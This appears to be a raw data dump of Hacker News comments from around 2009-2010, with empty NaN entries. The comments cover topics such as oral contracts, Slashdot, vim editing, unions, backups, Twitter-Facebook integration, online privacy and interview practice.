(i) there are limits to the types of oral contracts that are enforceable (see statute of frauds) and (ii) even for an oral contract the parties have to show that both sides clearly intended to be bound by a contract (there are some exceptions to this, but they do not apply here).<p>From what I read it seems that neither party treated the relationship as if they are bound by a contract. On the contrary it seemed like they proceeded under the assumption that they will negotiate some type of a deal in the future, but currently did not want to bind themselves.<p>None of this is legal advice, etc.\", \"blah blah blah. If you are waiting on that, you'll be waiting a long time.  Dude..I've done this for too long to even attempt to come to a forum like this and do sh*t like that.  I'm just offering an honest view from the other side of the table.  Honestly..I don't like recruiters either.  Which is why I started my site.  Have a great weekend.\", NaN, \"I think this says it all:<p>\\\"Interviewee: Yes, that was actually an .htaccess thing I forgot to do. You can do a redirect - there's a few types of redirects you can do, there's like 301s, 401s, and there's one, there's a redirect that you can do in the .htaccess file that says, \\\"Hey, this page is gone - not missing, it's over here.\\\" And we didn't do that, and I didn't figure that out until a month later when it was too late, when the old design, when the old site was already gone.\\\"\", \"I find it completely and utterly mind boggling that anyone would find this useful. Spending habits are private: tracking your OWN is useful. But sharing everything publicly? It's insane. Guaranteed you are going to be embarrassed after you reveal your $200 purchase at the Love Shack or once your friends realize you eat at McDonalds 3 times a week. What happens people start tracking down gifts or you blow the surprise on your engagement ring?<p>People want to share <i>some</i> of the things they buy to show off, but no one wants to share <i>everything</i> they buy. From the mundane to the inane to the embarrassing, it's a wide window into your private life that very few would feel comfortable opening.\", NaN, \"My colleagues - researchers - that are not here on student visas are here on H1-B visas. Those that are on student visas will eventually need H1-B visas after they graduate. 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If my cursor is on the g, I can say ctOcreate<esc> (change the text between the cursor up to the character before the next O to read \\\"create\\\").  outside of vim, I have to move my cursor over to the O, backspace out the \\\"getNew\\\" and then type \\\"create\\\".<p>a nine character difference (or three if you have a delete-character command) doesn't sound like much, but it adds up & also breaks you out of your flow a little bit.  I find myself doing refactorings other people wouldn't do, just because I know how to do them very quickly in vim, while others would be arrow-keying and back-spacing around forever.\", NaN, \"<i>\\\"... What's amazing to me isn't that /. has carried on this long, but rather that the comment quality on here hasn't gone the way of most social new sites. ...\\\"</i><p>I am surprised /. has survived. The place pretty much as it was back when it started in '97.<p><pre><code>    As our way of thanking you for your \\\\n    positive contributions to Slashdot, \\\\n    you are eligible to disable advertising\\\\n</code></pre>\\\\nThis is my first post [0] for a couple of years. But there was a time when I lived here. I remember when /. was sold & CmdrTaco said all he wanted to do was run it I'm sure I for one didn't believe he'd still be at it now. The sig/noise is still bad if you trawl below the +2 level. But at +5 it's readable. I think the combination of moderation, ability to filter comments (text, best comments at top), culture and relationships have helped shape the site into something still readable. HackerNews exhibits all of the same sorts of growing pains /. had to go through.<p>[0] <a href=\\\"http://slashdot.org/comments.pl?sid=1475404&cid=30409194\\\" rel=\\\"nofollow\\\">http://slashdot.org/comments.pl?sid=1475404&cid=30409194</a>\", \"LINQ is nice and if it helps db4o which is GPL has Java and .NET languages support.\", \"> <i>will recognize that functions in JScript are fundamentally the Lambda Calculus</i><p>i would have thought you could say that about functions in any language...\", \"Perhaps someone with more knowledge of them can speak to this, but I know in some circles there is a belief that unions tend to commoditize their workers, practice if not in theory.<p>I do not know if that is true, but I do know that I absolutely do not want my services to be a commodity.  I work hard to try to get into the upper echelons of a highly differentiated field, and I would seek to either differentiate myself or change fields to a more differentiated one if it began to appear that my services could easily be commoditized.\", \"Jamie Zawinski said to shut up, stop what you're doing and make a back-up. Jeff simply spread Jamie's message to a wider audience, rather than claiming it as his own.\", \"Pretty on point.<p>\\\"There was this weird lump in my throat, this tightness in my chest. I had this vision of the future \\u2014 a ruined empire, run by number crunchers, squalid and stupid and puffed up with phony patriotism, settling for a long slow decline.\\\"\", \"Not sure about the patents but your link says:<p><i>the Apple patent proposes interweaving photo sensors alongside each pixel projector</i><p>whereas the linked video shows photo sensors around the edge of the screen, which they claim is superior to photo sensors between pixels. A subtle difference, so not sure if Apple's patent applies.\", NaN, \"> If deliberate, humorous exaggeration in argument is wrong, I'm in some great company! e.g. Mark Twain, Oscar Wilde, yaddayadda.<p>Are you trying to do what they did?  If not....\", \"No it's not.<p>It should be.  It might even be in some of the plans.  But most of the time it doesn't happen.\", \"I'm wondering if there is some deep technical reason why a text-to-mediawiki markup converter hasn't been created...yet.<p>Or a conversion extension that sits \\\"inside\\\" mediawiki so to speak and lets users type using a WYSIWYG window and then does the conversion after the user hits submit.<p>I was watching a video at the singularity university website and the the person giving the talk challenged anyone to create this in passing.<p>I know there is a mediawiki \\\"usability\\\" initiative but the editor is still a stretch away from people using microsoft word or other similar programs they are accustomed to\", \"I used QueryPath for a recent project and really liked it. Its selectors are almost identical to jQuery's so the learning curve was shallow. Two thing QueryPath does that this library doesn't seem to is work w/ XML and allow for chainable method calls. See this IBM Developer Work's article <a href=\\\"http://www.ibm.com/developerworks/opensource/library/os-php-querypath/\\\" rel=\\\"nofollow\\\">http://www.ibm.com/developerworks/opensource/library/os-php-...</a>\", \"This is a problem with the twitter api, which makes it easy to use twitter screen names, which are not permanent, and not twitter user ids, which are permanent.\", \"No need to scrape: <a href=\\\"http://twitter.com/<USERNAME>?format=json\\\" rel=\\\"nofollow\\\">http://twitter.com/<USERNAME>?format=json</a>\", \"I'm always a bit surprised whenever I hear that /. is still running. I'm sure they're still a very successful site, but it's been like, forever. Aren't they bored?\", \"> Not all unions are like that.<p>How about 3 examples that are more than 30 years old.  (Unions tend to last as long as the host, which is a problem for the UAW.)\", \"s3sync is great. I'm using it for automated backups for a number of work projects. Thank you for writing it and sharing it.\", \"Interesting comment:<p>What's amazing to me isn't that /. has carried on this long, but rather that the comment quality on here hasn't gone the way of most social new sites. It seems that in general as a social news site ages, matures, and grows, the comment quality follows an inverse pattern. Or more simply, as the number of users approaches infinity, the comment quality approaches 4chan. Digg used to be a decent site for discussion; now you'd be laughed at for even suggesting that the comments might be notable. Reddit is quickly getting there. Slashdot though seems to best this pattern. While I'm well aware that someone will reply to this with \\\"In soviet russia 4chan approaches you!\\\" or something similar in a successful attempt to disprove my point, but I think it still holds true in some respect. Kudos slashdot, keep it up. You keep trying to make UI (un)improvements and we'll still be here to comment without RTFA - and we'll both be thankful for it.<p><a href=\\\"http://meta.slashdot.org/comments.pl?sid=1475404&cid=30408166\\\" rel=\\\"nofollow\\\">http://meta.slashdot.org/comments.pl?sid=1475404&cid=304...</a>\", \"What about a short movie vs. screenshots?\", \"This week Digg posted that they've had over 14 Million stories posted to their site after only 5 years.<p>Slashdot is probably talking about front-page stories and not submissions, but, if we consider the editorial process, 100,000 is definitely high.<p>P.S. One of my most exciting geek-memories as a younger man was having one of my submissions hit the front-page of Slashdot.\", \"My first response to seeing this over HN's twitter feed was \\\"what, only?\\\"\", \"Old saying is \\\"If it ain't tested, is is broken.\\\"\\\\nOld corollary: \\\"If it is tested, it might still be broken.\\\"\\\\nAnd: \\\"If it is a backup, it might still be broken.\\\"<p>Seems like a good idea to occasionally spend the time and totally fill a sparkley clean image with your backups and see how well it fares.<p>My sympathies.\", \"believe it or not, this was intentional and an homage to slashdot (the concept of having low IDs that are publicly viewable), however obscure<p>the public link feature was actually a proof of concept and never intended to stick around :)<p>but anyway, having this information doesn't let you do anything but get a rough count of our users, so saying it's a security issue is a stretch. there are no public-facing forms or inputs that take these values as input\", \"This is why i just do / or ?\", \"Just for fun, you might want to drop Olark (<a href=\\\"http://olark.com\\\" rel=\\\"nofollow\\\">http://olark.com</a>) on your website, so when you do get useful traffic you'll have an opportunity to help sell to them -- it's worked out pretty well for us.  (shameless plug)\", \">Some people are afraid to say something about a contract because they're afraid they won't be hired or they're afraid they'll get fired if they're an employee.<p>This is not a problem I have.<p>Is there way a union will specifically benefit me?\", \"I feel for the guy too, but it really isn't the first time in the last couple of months that some service provider fails at their #1 stated goal: to keep your data safe.<p>And it isn't just the small ones either.<p>For the love of - insert your favorite deity here - please <i>try</i> to restore your backups, and try to do so on a regular basis. If not all you might have is the illusion of a backup.<p>It is a very easy trap to fall in to, and I really am happy this guy writes about it because it seems there are still people that feel that if their data is in the hands of third parties that it is safe.<p>That goes for your stuff on flickr, but it also goes for your google mail account and all those other 'safe' ways to store your data online. In the end you have to ask who suffers the biggest loss if your data goes to the great big back-up drive in the sky, the service provider or you. If the answer is 'you' then go and make that extra backup.\", \"And it is a very badly written article.\", \"> MDs and politicians should absolutely be doing cost-benefit tradeoffs.<p>No, they shouldn't.  If I'd rather spend my money on hookers and booze, that's my decision to make.  If I'd rather spend all my money on health care so I've got a chance to see my first grandchild, that's also my decision to make.<p>I expect MDs to be experts on health benefits (\\\"your knee won't be stiff in the morning\\\") and health costs (like \\\"you'll limp if you let this slid\\\").  I expect someone associated to have a handle on how much money is involved.<p>However, that's not enough information to make a health care decision.  Someone has to decide the relative value of those things, to decide if the costs are worth the benefits.<p>I am the expert in deciding how much these things matter to me.  Booze vs grandchild is my call for me.  It's your call for you.  It's okay that we make different decisions.<p>If you think that I'm not \\\"the expert\\\" wrt those things for me, who is?<p>Or, do you think that those decisions shouldn't be made wrt my values for me?  I'll be happy to make them for you if you want, but I don't want you making them for me.<p>> Expecting everyone to be able to exhibit the judgment of a professional in every field is so wildly implausible that I've obviously mistaken your meaning.<p>Either I was unclear or you don't understand what experts are experts at.<p>> Politicians should be required to be experts.<p>It's easier to require them to be unicorns.<p>As a general rule, you don't get to assume unobtanium even if that's the only way to make your preferred approach work.  Any approach that requires unobtanium is, by definition, wrong, no matter how many ponies that you think that we'd get if it worked.\", \"You can get-by with just read-only C skills. Invest your time learning the ins and outs of python and its performance characteristics.<p>It's also inevitable that you will have to learn systems programming; POSIX or Win32 API most likely, for Unix and Windows respectively. But not for another year or so.<p>Have fun.\", \"It looks almost exactly what rsync.net provides. They're established. Why aren't you telling me why your service is better than theirs?<p>Your prices do appear to be cheaper but as you've said with a much larger minimum quantity. Is cost the only significant differentiating factor?\", \"<i>Blain is president of WashTech, a Seattle affiliate of the Communications Workers of America.</i><p>A link to the opposing viewpoint is cited at the end of the article.<p>Personally, I prefer to retain all of my bargaining control, rather than delegating it to another entity.<p>Furthermore, I do not understand the \\\"us-vs-them\\\" attitude that is pervasive in the pro-union mentality. I have stock in my company: I <i>am</i> them.\", \"Wow. For some reason it feels like such a \\\"low\\\" number. After so many years of browsing /. it feels like there has been so much stuff posted that the number should be so much higher.\", \"The repeat commands are your friend: Fh without looking, followed by ; and , if you don't end up in the right place the first time.\", \"Using Firefox 3.5.5 no fixes yet 12/11 for TB & Lightning. What a doozy! Remember satellite to mars, feet & meters? Here is one right on earth.\", \"I'm with ya.  This sort of thing can sneak up on you.\", \"I remember being Slashdotted in 1999.  It was a brutal onslaught of traffic.  Fortunately, more sites seem equipped to handle that sort of traffic today. (<a href=\\\"http://slashdot.org/story/99/12/04/158227\\\" rel=\\\"nofollow\\\">http://slashdot.org/story/99/12/04/158227</a>, if you're curious.)\", NaN, \"Unions are great when they are needed.  The problem with unions is that once they are not needed anymore they don't go away.\", \"You can learn the ins and outs of network programming in pretty much any language.  When you find yourself needing the level of control or speed which C offers, or compatibility with some platform, then go there.\", \"My friend and I have been working on a new way to better monetize ad-supported / free / next-to-free apps, and would love to talk to fellow iPhone developers on how they'd use our API.<p>We're also approaching that stage where we'd like to pilot the API and would love to get a handful of developers in the loop for this.<p>If you've released iPhone apps and are in the Bay Area and can make it to San Francisco / Berkeley, then we'd love to buy you a beer! =)<p>Thanks.\\\\nYou can email us at: developers@mobilefolk.com\", \"I find that having to concentrate on that actually refocuses me.  Sometimes my mind needs a rest and I do it the lazy way, but by-and-large it is an excellent habit.\", \"Actually it is easy to define: <a href=\\\"http://dictionary.reference.com/browse/obsolete\\\" rel=\\\"nofollow\\\">http://dictionary.reference.com/browse/obsolete</a><p>The term is misused in conversations that talk about fashion.  I like the 100 year rule mentioned there.  My hp200lx still has a way to go.\", \"I also like this one about printers:<p><a href=\\\"http://it.toolbox.com/blogs/irm-blog/bryces-pet-peeve-computer-printers-11242009-35499\\\" rel=\\\"nofollow\\\">http://it.toolbox.com/blogs/irm-blog/bryces-pet-peeve-comput...</a><p>where he talks about \\\"today's consumer dot-matrix printers\\\".\", \"<a href=\\\"http://github.com/c9s/Vimana\\\" rel=\\\"nofollow\\\">http://github.com/c9s/Vimana</a> referenced in there looks pretty neat.  Installing Vim plugins the normal way is indeed a un-fun process.\", \"Seems like a lot of people don't know about this nice service. It's my default search engine in the Firefox search bar:<p><a href=\\\"http://www.scroogle.org/cgi-bin/scraper.htm\\\" rel=\\\"nofollow\\\">http://www.scroogle.org/cgi-bin/scraper.htm</a>\", \"Firefox has a 47.4% marketshare as of August 2009??? Does anybody know what sources were used? It would be nice to see the same graph but this time with real data...\", \"Yeah, I actually do that.  If I see it's an \\\"h\\\" that I need to go back to, I'll do the \\\"Fh\\\".  Sometimes it takes me more than one jump to go back though (if any other \\\"h\\\" are in the way).\", \"I am tempted to make the blanket statement: \\\"Don't let non-technical managers manage technical people.\\\"<p>That would be unfair to all the good non-technical managers out there (I believe this is harder, but still possible).  How about \\\"Don't let managers who cannot establish a rapport with technical people manage technical people\\\"?\", \"We'll see if this is later confirmed but, I think it pretty funny that (as of this writing) Slashdot appears to be, well, Shashdotted over this post.   (Disclaimer: Obviously it won't be quite so funny if it turns out to be a malicious DoS attack or some quite unrelated glitch.)\", NaN, \"I don't understand what is wrong with editing the application settings:\\\\n<a href=\\\"http://www.facebook.com/editapps.php\\\" rel=\\\"nofollow\\\">http://www.facebook.com/editapps.php</a><p>What magic did you expect to happen to make this right? Should twitter's facebook app have disabled itself? I think that is correct behavior for deactivating an account.<p>On a similar note, you could control the apps on twitter with this tool:\\\\n<a href=\\\"http://twitter.com/account/connections\\\" rel=\\\"nofollow\\\">http://twitter.com/account/connections</a>\\\\n[unless you've given out your password, then you need to change it]\", NaN, \"I suspect the facebook app just subscribes to a bunch of giant search feeds for all users and then dishes out any new messages. There's no authentication involved in twitter searches so neither Facebook, nor the author of the FB app, nor Twitter are to blame: you are. You should have deleted the app when you deleted your twitter account.\", \"I always hate it when people say to use something like \\\"Fh\\\" to jump to the beginning of a section that starts with an 'h'. How much time will I waste thinking about whether or not there is or isn't another letter 'h' somewhere between the cursor and where I want to go? It's easy to construct examples like this <i>after</i> the fact, but it's not going to take me <1 sec to process the entire line for \\\"are there any h's?\\\"<p>Or am I in the minority here? Do people really think/code that way on a normal basis?\", \"The really scary thing is that it would probably sell like hotcakes. After all, plenty of people seem to use twitter to show the world what they're thinking (and that seems to be for the most part complete rubbish).<p>As the cost of a bit goes down the signal-to-noise ratio seems to get worse. Broadcasting everyones spoken words is definitely in our future somewhere if the current trends continue.\", \"this is the image on slide 52, provided for your convenience :)<p><a href=\\\"http://www.terminally-incoherent.com/blog/wp-content/uploads/2006/08/curves.jpg\\\" rel=\\\"nofollow\\\">http://www.terminally-incoherent.com/blog/wp-content/uploads...</a>\", \"Hmmm. I didn't interpret the article as stereotyping, but rather a writing style I think of as \\\"Making room for skepticism.\\\"  Basically sympathizing with the (stereotype) profile/skepticism/opposition the writer anticipates before putting a forth an idea.<p>I read this style all the time, and take it for what it is: a construct that makes things <i>easier</i> to digest, even when neither the argument, nor counterargument, apply to me.<p>Again, I usually find it helpful/intellectual lubricant, and did in this case.<p>That said, I can't deny your experience.  If you felt friction, there must be something to reconsider in this style of presentation.  Thanks potatolicious for taking the time to describe how it make you feel.  I will consider your ideas the next time I have to present slightly counter-intuitive things to folks. (I often present really technical things to business people who are handicapped not by their lack of technical skill, but extremely conservative approach to risk.)<p>And thanks as well to ahoyhere, who posted the article. Good stuff.\", NaN, \"he's back: <a href=\\\"http://twitter.com/codinghorror/statuses/6581734847\\\" rel=\\\"nofollow\\\">http://twitter.com/codinghorror/statuses/6581734847</a>\", \"It really isn't a relevant question. Anyone who self-identifies as a geek has skin in the game when it comes to my article because it's so much more about (self-limiting) self-image than <i>my</i> conception of what a geek\\\\nis.<p>Hint: if it pissed you off, it hit a nerve.\", NaN, \"I switched twitter names a while back, and even if I un and re install the app, it still won't update my facebook status.<p>I pretty much just gave up.\", NaN, \"I'd be interested in using it, but I'm a terrible predictor of what other people will find interesting.\", \"I'm ny particularly pleased to burst your bubble, but this spirit is alive and well even here on HN. I know it's more fun to think of this as a bastion of rationality and reason, but it's not. Mote importantly, holding rationality and \\\"facts\\\" above all else is another source of different but related problems.<p>Not involving elephants.<p>Remember, the more sure you are of\\\\nsomething, the more you are likely to be blinded to its flaws.\", NaN, \"Twitter can't fix this, unless the FB application is <i>only</i> using Twitter's authentication system to ensure it's properly linked.<p>Facebook twitter apps can just scrape twitter for your most recent status update -- if that's the case, they don't even need your twitter password to get updates.<p>(I don't know how that twitter->facebook app works, but given your situation, that's what I'd guess. So there isn't anything Twitter could do to stop it.)\", \"Uh, what?<p>Unless this reveals actual information about the valid account, this a sev:informational finding on any professional assessment. In other words: you probably wouldn't even list it as a vulnerability.<p>I'm not sure I've <i>ever</i> seen an application that didn't have an account ID distinguisher somewhere in it. All you need is a place that generates \\\"Permission denied\\\" instead of \\\"Not found\\\".<p>Publicly calling out Dropbox for something that has extremely minimal real-world impact is bad form. Dropbox might care that there's a method to count accounts (I doubt it, since most of those accounts are free, so you can't work them back to financials), but it's not a matter of Internet safety and hygiene.\", \"Local 1337 demands more red bull and pizza.\", \"Great points.  Earlier today I read an AP story before seeing this (now COB Friday).  While I have not gone through the posts at TC, the AP story appeared to have checked/ covered/ summarized both sides <a href=\\\"http://news.ycombinator.com/item?id=990515\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=990515</a><p>Interesting Arrington said neither has rights to the product.  Just pointing out from an independent AP source instead of TC.\", \"It isn't likely that he didn't think to make a contract.  More like he wanted better terms and thought he could jerk them around, and they thought the same thing.  In the end they both win a dead product.\", \"The article covers this: you register one of your cards, and use that for public purchases.  They plan to provide a sticker for that card to make it more obvious.\", \"Quite interesting. Both Rathakrishnan's remarks and TC's suit suggest the falling-out was over who would have majority control of the venture.<p>Incidentally, Engagdet has been all over this particular story...does someone there have history with TechCrunch? They seem to be very much on the side of Fusion Garage, for some reason.\", \"<i>It will all end in tears.</i><p>It will middle in tears, anyway.\", NaN, NaN, \"Does anybody else think its wrong how he blames his loss of $2mm on his website falling on Google's rankings?<p>Umm... maybe he lost $2mm from all the crap he bought!\", \"Very cool. This class consistently produces great projects. You can see all the projects since 2006 here: <a href=\\\"http://instruct1.cit.cornell.edu/Courses/ece576/FinalProjects/\\\" rel=\\\"nofollow\\\">http://instruct1.cit.cornell.edu/Courses/ece576/FinalProject...</a>\", \"transcript is wrong, he says $75,000 in the actual interview.\", \"Did you contact Twitter? If yes what did they say?\", \"My group at work recently brought up the point that we don't celebrate success.  We get so caught up in schedules, putting out fires and working to meet the next milestone that we don't stop to celebrate any of our successes.  We could blame senior management for not setting the right atmosphere but we also determined that \\\"we\\\" should be able to celebrate success on our own.  How DO YOU celebrate success within your own groups?  Any feedback, recommendations or other ideas are welcomed.  Thanks in advance.\", NaN, \"This is one of the classic ways people hook you into giving up your privacy, by talking about only the benefits and not talking about the costs.<p>I don't deny that amongst the buried millions of transactions this system will most assuredly generate, some minute fraction may actually benefit somebody by showing Comcast shenanigans or something. But... at what cost?<p>Sure, consumers might get some small amount of \\\"empowerment\\\", and all it took was handing large amounts of empowerment over to Blippy and whatever \\\"affiliates\\\" they sign with next month. Wow, what a <i>deal!</i>\", \"Yes oral contracts can be enforceable, but (i) there are limits to the types of oral contracts that are enforceable (see statute of frauds) and (ii) even for an oral contract the parties have to show that both sides clearly intended to be bound by a contract (there are some exceptions to this, but they do not apply here).<p>From what I read it seems that neither party treated the relationship as if they are bound by a contract. On the contrary it seemed like they proceeded under the assumption that they will negotiate some type of a deal in the future, but currently did not want to bind themselves.<p>None of this is legal advice, etc.\", \"blah blah blah. If you are waiting on that, you'll be waiting a long time.  Dude..I've done this for too long to even attempt to come to a forum like this and do sh*t like that.  I'm just offering an honest view from the other side of the table.  Honestly..I don't like recruiters either.  Which is why I started my site.  Have a great weekend.\", NaN, \"I think this says it all:<p>\\\"Interviewee: Yes, that was actually an .htaccess thing I forgot to do. You can do a redirect - there's a few types of redirects you can do, there's like 301s, 401s, and there's one, there's a redirect that you can do in the .htaccess file that says, \\\"Hey, this page is gone - not missing, it's over here.\\\" And we didn't do that, and I didn't figure that out until a month later when it was too late, when the old design, when the old site was already gone.\\\"\", \"I find it completely and utterly mind boggling that anyone would find this useful. Spending habits are private: tracking your OWN is useful. But sharing everything publicly? It's insane. Guaranteed you are going to be embarrassed after you reveal your $200 purchase at the Love Shack or once your friends realize you eat at McDonalds 3 times a week. What happens people start tracking down gifts or you blow the surprise on your engagement ring?<p>People want to share <i>some</i> of the things they buy to show off, but no one wants to share <i>everything</i> they buy. From the mundane to the inane to the embarrassing, it's a wide window into your private life that very few would feel comfortable opening.\", NaN, \"My colleagues - researchers - that are not here on student visas are here on H1-B visas. Those that are on student visas will eventually need H1-B visas after they graduate. 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If you are computationally bound and not I/O or data structure bound (my biggest speedup came from exchanging lists for dictionaries to eliminate linear searching - which was a trade-off in accuracy of my algorithms vs speed, but in that specific case it didn't matter) then Cython can give pretty good results. Its also useful for wrapping C libraries.<p>As is always the case with optimizations, a good algorithm usually goes a lot further than highly optimized, low level code.\", \"Welcome to HN or are you posting with a fresh handle so the co-founder doesn't find out?<p>You'd think they feel guilty, or are they shameless?\", NaN, \"The last paragraph about marathons reminded me of a PBS Nova documentary about a dozen people who just picked up running to compete in the Boston Marathon starting off from basically couch potato status.<p><a href=\\\"http://www.pbs.org/wgbh/nova/marathon/\\\" rel=\\\"nofollow\\\">http://www.pbs.org/wgbh/nova/marathon/</a><p>I won't spoil it for you but it does not end like you expect.<p>I personally found that doing away with car and biking two hours a day has done me well. By combining exercise and commuting times I save a great deal of time.\", \"Or photos with elbows likely include boobs.\", \"Ah, but the other side of Mayan medallion has specific instructions to take back two years to honor the Hebrew God Yahweh.  So, 2010.  We're screwed.\", \"I used to think the same way, but I'm not so sure it's a good idea now.<p>Problem is that it's much easier to ignore bad rules than it is to fix them.  You're assuming that if everyone had to abide by the bad rules, they'd get fixed.  I'm not sure that's the case - the examples I gave indicate that when you force employees to abide by bad rules, they just start acting badly.<p>When I was younger, I used to find it very frustrating that the rules said one thing but the way everyone acted was something else.  We even have a word for that: \\\"hypocrisy\\\".  But as I've gotten older and occasionally even been responsible for creating some of those rules, I've started realizing that the rules are an abstraction.  They're there to set expectations.  They aren't followed exactly because they <i>can't</i> be followed exactly, and if you try you end up with absurdities like confiscated toothpaste.  I'm not so certain that fixing the laws will work, both because it's difficult and because it's quite possible that the reason the laws are broken is because they can't take every situation into account, not because their authors were stupid.\", \"if I didn't come back to upvote you again in two years, you are probably right.\", \"Good article.<p>As a side-note to anyone wanting to evaluate Django applications, I have had some success by building a JMeter configuration generator into some apps that allows me to test hundreds of different pages very easily and to evaluate the impact of changes not only in performance but on the server itself under load testing.<p>I am currently wondering how to include something that could reflect page popularity.\", \"That seemed full of pretty bland \\\"corporate\\\" words until the last paragraph (of the quote) - which makes the point well.\", \"The book \\\"How to be Invisible\\\"[1] makes a few good arguments for privacy too.<p>For example, if you are charged with a serious felony, but later released because you are actually innocent - lack of privacy almost ensures that your life is ruined anyway, even though you are innocent, because the media loves to blow everything out of proportion - but rarely seems to go back and correct their earlier stories when you've been found innocent, or if they do, most people have already read the sensationalized news condemning you and the damage is already done.<p>So, without even breaking any laws or doing anything wrong, without privacy you might find your life ruined anyway.<p>[1] How to be Invisible, by JJ Luna, <a href=\\\"http://www.amazon.com/How-Be-Invisible-Essential-Protecting/dp/0312319061\\\" rel=\\\"nofollow\\\">http://www.amazon.com/How-Be-Invisible-Essential-Protecting/...</a>\", \"why not; that's probably their most vocal consumer market for ebooks after all\", \"This argument also means poetry is better in languages spoken by lots of people, in countries with rich history, and later poetry is better than earlier one all other things being equal...\", \"I think present research shows that 10 hours per week is the minimum required to achieve a body transformation in 3-4 months. \\\\nSome recommendations:\\\\n1. \\\"Body For Life\\\" if you want a simple way to lose weight and gain strength. \\\\n2. \\\"Maximum Strength\\\" if you'r already been lifting for a while and want to get stronger. This is system also has you challenging your own limits so that you feel certain sense of achievement instead of just \\\"wow I look thinner\\\" ... \\\\n3. \\\"P90X\\\" if you like intense workouts with results.<p>I've personally done all 3 in the above order to pretty good results. After achieving the results , you really need to maintain a minimum level to keep it.\", \"The Flash resource would still be available. If you encode your resource in a proprietary format then that\\u2019s your choice :)\", \"I reckon I'll be different, here.<p>I'd say PHP (particularly if the new coder has interest in web programming).<p>It's syntactically easy-ish, freely available, very well documented and supported, and sets the newbie up for easy freelance or professional work.<p>- John\", \"I thought the attack was against the application. The article  talks about the security of the raw data in the database. I missed that on my first read. Sorry for that.\", \"If Adobe ever did stop developing / supporting the Flash plugin, it would be a complete disaster from the point of view of people like myself who think once something has a URL it should ideally stay accessible until the heat death of the universe.\", \"For starters, Google mints its own money via Adwords, while Microsoft still depends on Yahoo Overture, which Yahoo itself (and everybody else in the industry) acknowledged being greatly inferior to Adwords, to the point that they wanted to use Adwords to make more money out of the Long Tail of search...\", \"Possibly.  One would hope though that there're checks on that one really uptight cop so that he can't single-handedly ruin your life.  After all, the situation beforehand was arguably <i>worse</i>, where it was just random chance whether or not it was the asshole cop who happened to see you when you were drinking.<p>The employer issue is already like that, at least for software engineers.  I don't care if a potential employer wants to turn me down for something they saw in a FaceBook photo, because there're plenty of other employers who don't give a damn.\", \"While he makes a valid point I am worried about a few things he says:<p><i>Say there is only a 0.1% chance that in the next year Google\\u2019s servers have a search history leak </i><p>Sounds like meaningless speculation; and what does \\\"leak\\\" entail. Even if 0.1% <i>of the data</i> is leaked there is a pretty low chance that his data will be included - or if it is, obvious.<p><i>between all their sharing of data back and forth with the US government</i><p>Im not sure what this refers to; all data given under a subpoena should be a matter of public record at some point (at least it is here) and I was not aware Google handed out any other data to the government - if he has evidence of that it would be good to see it.<p><i>A Google search you made tipped off your local American authorities that you are breaking 16 USC 3370. Do Not Pass Go, Do Not Collect $200. Instead go to prison for 1 to 5 years after laying out up to $250k on a fine, unless you get an understanding judge.</i><p>Is this a scenario that exists? Answer is no. Of course I support the argument that this set up should never exist in the future - but I've not seen a suggestion Google would roll over to this lightly anyway.<p>Unfortunately this guy takes a good point to a somewhat surreal extreme - while that is often useful for pointing out flaws in things, his fruit example points out flaws in the law (which you could fall foul of in any number of ways beyond google searching) rather than making any specific point about privacy.<p>EDIT: any specific rebuttals? Did I get any facts wrong?\", \"It depends on what you think the point of FizzBuzz testing is.<p>We use the FizzBuzz (or equivalent) test to get candidates warmed up to the interview, thinking about programming and design and technical issues.  A good 60% can't even get it working, so that lets us terminate the interview early.  For the remainder, we ask various technical questions that arise naturally.<p>On of the questions we sometimes ask is this: Suppose you're trying to fit the code on a really small embedded processor.  In truth, of course, you'd have to write it in assembler, but let's assume we already have a C interpreter.  How small can you make the code?<p>This isn't a stretch.  Some of the systems I used to work on were small (in implementation) for exactly this reason.  We wrote a miniature interpreter, then wrote the working code in something nicer to program in.  It was possible to save overall space that way.<p>The ROM in the BBC micro had a built-in BASIC interpreter (of course), but if you look closely, some of the OS on the ROM were written in BASIC.  I've been told it was for reasons of space.\", \"No more than during The Stephen Colbert Presidential Campaign brought to you by Doritos.<p>Part of the beauty of Colbert's television persona is that he can shamelessly shill for products, and then pass it off as \\\"just part of the character.\\\"\", \"That's exactly what I'm talking about. Silly laws exist because they may not be obeyed. Citizens get around them, enforcers get around them and the message never bites the policy makers in the ass - the people that are responsible for this mess are often not even aware that they made a mistake.<p>So I am claiming that loss of privacy that I perceive inevitable in face of modern and upcoming technology is not necessary bad thing because it may create the demand for fixing some stupid rules that may cause some of us harm.\", \"A good example of dividend behaviour can be seen in the 16th December dividend from Sycamore Networks (see <a href=\\\"http://www.google.com/finance?q=scmr\\\" rel=\\\"nofollow\\\">http://www.google.com/finance?q=scmr</a>). This dividend was announced on the 18th November (roughly a month before the effective date). The share price doesn't change at that point, but on the effective date it falls by $9.70, almost exactly the dividend amount of $10. I chose this example as Sycamore gave out a quite ludicrous amount of cash (something like 35% of the company value) so the price drop is very obvious. Another unusual feature of the dividend is that the pay date is actually before the effective date. The dividend is paid on the 15th December, even though its the people who own the shares at the market open on the 16th who qualify for the dividend. This comes about due to a rule that NASDAQ have that if a distribution is greater than 25% of a company value, then the effective date is set to be the day after the pay date.<p>I think that while there is a lot that is unpredictable about the stock market, you can be fairly sure that on a dividend's effective date, the share price will fall by roughly the amount of the dividend. It won't be exact due to all the other factors which would affect a stock's price on any day, but it will be roughly correct.\", \"a cost factor of 14 isn't that high?<p>that's just mean\", \"How is the relational model inherently better for ACID than non-relational models (graph dbs for instance)?\", \"I didn't say I idealistically agreed, but that's the theory anyway. I sort of like Lysander Spooner's argument in No Treason* that social contracts are false justifications because there's no opt-out program. The practicality of such an idea, however, is another question (to which none of us know the answer because it has never existed).<p>* <a href=\\\"http://en.wikipedia.org/wiki/No_Treason\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/No_Treason</a>\", \"But it's already in beta, and betas are generally supposed to be feature-complete.\", \"It's a slightly different point, and it might be more important. Most of us break the law, right now, and not even including examples of ridiculous laws. A lack of privacy on the data we generate could incriminate us in ways that we didn't set up our justice system to handle.\", \"In short term you are right. But in long term you end up with buggy law system in which you know you can be prosecuted for your daily activities. Such system is fertile ground for corruption ( <a href=\\\"http://news.ycombinator.com/item?id=1063485\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=1063485</a> ) and straight way to totalitarian state when you always know you've done something that can put you in jail but just hope authorities won't find out. That significantly limit your incentive to oppose activities of the state.\", \"The problem is that with the internet evidence of your minor crimes is available to a far wider audience than usual.<p>To expand on your underage drinking analogy, it's the difference between being seen by a member of campus police and being seen by all members of campus 